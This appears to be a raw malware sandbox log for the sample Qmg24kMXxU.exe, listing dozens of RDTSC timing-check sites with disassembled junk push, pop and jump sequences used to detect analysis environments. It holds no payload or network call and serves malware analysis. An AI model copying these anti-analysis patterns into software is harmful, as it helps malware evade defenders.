Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39C425 second address: 39C42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 39C42B second address: 39C431 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A44DF second address: 3A44E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A4ACE second address: 3A4AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A4AD2 second address: 3A4AD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A4AD6 second address: 3A4AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007F95D91784A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A4DAA second address: 3A4DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A4DB1 second address: 3A4DC2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F95D91784ACh 0x00000008 jl 00007F95D91784A6h 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A53BF second address: 3A53C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A53C3 second address: 3A53CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A53CB second address: 3A53DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A53DF second address: 3A53E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A53E3 second address: 3A53F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A53F0 second address: 3A53F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A53F4 second address: 3A53FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A5F23 second address: 3A5F27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A5F27 second address: 3A5F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F95D925B963h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A6250 second address: 3A6266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D91784B2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AA4F6 second address: 3AA4FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AA4FB second address: 3AA514 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F95D91784A8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F95D91784ABh 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AA514 second address: 3AA51A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A95CE second address: 3A95D4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A972F second address: 3A975D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F95D925B962h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F95D925B962h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A975D second address: 3A97A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F95D91784B9h 0x0000000e popad 0x0000000f jo 00007F95D91784D8h 0x00000015 jng 00007F95D91784AEh 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A9A8E second address: 3A9A94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A9BBC second address: 3A9BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A9BC1 second address: 3A9BE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B968h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A9D91 second address: 3A9D9B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F95D91784A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3A9EC3 second address: 3A9ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AA1AB second address: 3AA1AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AA1AF second address: 3AA1B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AA1B5 second address: 3AA1C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 je 00007F95D91784A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AA1C1 second address: 3AA1F5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jno 00007F95D925B95Ch 0x0000000f jmp 00007F95D925B969h 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AA1F5 second address: 3AA1FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AEDAB second address: 3AEDB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AEDB0 second address: 3AEDFA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F95D91784C4h 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F95D91784B4h 0x00000015 push eax 0x00000016 push edx 0x00000017 ja 00007F95D91784A6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AEDFA second address: 3AEDFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AEDFE second address: 3AEE04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AEE04 second address: 3AEE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AEE0A second address: 3AEE10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3AEE10 second address: 3AEE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3B76E1 second address: 3B76F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95D91784B3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3B76F8 second address: 3B770F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F95D925B956h 0x00000008 jc 00007F95D925B956h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3B770F second address: 3B771A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3B771A second address: 3B7720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3B5B3B second address: 3B5B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jns 00007F95D91784AEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3B5B52 second address: 3B5B5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F95D925B956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3B5B5C second address: 3B5B81 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F95D91784A6h 0x00000008 jmp 00007F95D91784B7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3B5B81 second address: 3B5B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3B6080 second address: 3B60A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jl 00007F95D91784A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F95D91784ACh 0x00000011 jmp 00007F95D91784ABh 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3B6743 second address: 3B675E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007F95D925B95Ch 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F95D925B956h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3B756E second address: 3B7595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F95D91784BFh 0x00000012 jmp 00007F95D91784B3h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3B7595 second address: 3B75A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F95D925B95Ch 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3BDEF8 second address: 3BDF3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F95D91784A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F95D91784ACh 0x00000012 jng 00007F95D91784A6h 0x00000018 push eax 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F95D91784B3h 0x00000020 pop eax 0x00000021 popad 0x00000022 pushad 0x00000023 pushad 0x00000024 jmp 00007F95D91784B3h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3BDF3F second address: 3BDF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F95D925B956h 0x0000000a popad 0x0000000b jmp 00007F95D925B965h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3BDF64 second address: 3BDF6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3BDC69 second address: 3BDC88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Eh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F95D925B962h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3BDC88 second address: 3BDC92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F95D91784A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3BDC92 second address: 3BDCA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F95D925B956h 0x00000009 jmp 00007F95D925B95Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3CCFC0 second address: 3CCFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3CD14E second address: 3CD152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3D0017 second address: 3D003F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F95D91784B3h 0x0000000e jmp 00007F95D91784ACh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3CFA36 second address: 3CFA3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3CFA3A second address: 3CFA3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3CFB8A second address: 3CFB8F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3D741F second address: 3D7431 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3D7431 second address: 3D7443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F95D925B95Bh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3D7443 second address: 3D7454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95D91784ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3DE1CD second address: 3DE1E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D925B95Eh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E101F second address: 3E1025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E1025 second address: 3E1029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E32DA second address: 3E32DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E8443 second address: 3E8449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E8449 second address: 3E8485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D91784B5h 0x00000009 popad 0x0000000a jo 00007F95D91784C2h 0x00000010 jnp 00007F95D91784A6h 0x00000016 jmp 00007F95D91784B6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E8485 second address: 3E848A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E8605 second address: 3E8609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E878B second address: 3E8799 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E8799 second address: 3E87A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E87A0 second address: 3E87A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E8A60 second address: 3E8A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E8A64 second address: 3E8A8C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F95D925B956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F95D925B969h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E8A8C second address: 3E8A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E8A93 second address: 3E8ADE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F95D925B97Fh 0x00000011 je 00007F95D925B958h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E8C78 second address: 3E8CAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F95D91784B1h 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F95D91784B5h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E8E3B second address: 3E8E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E990F second address: 3E9921 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F95D91784A6h 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E9921 second address: 3E9928 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E9928 second address: 3E9940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F95D91784ACh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E9940 second address: 3E9959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D925B95Eh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E9959 second address: 3E995F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3E995F second address: 3E996E instructions: 0x00000000 rdtsc 0x00000002 je 00007F95D925B95Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3EC221 second address: 3EC225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3EC225 second address: 3EC252 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F95D925B964h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F95D925B95Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3EEC6D second address: 3EEC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3EEC73 second address: 3EEC77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
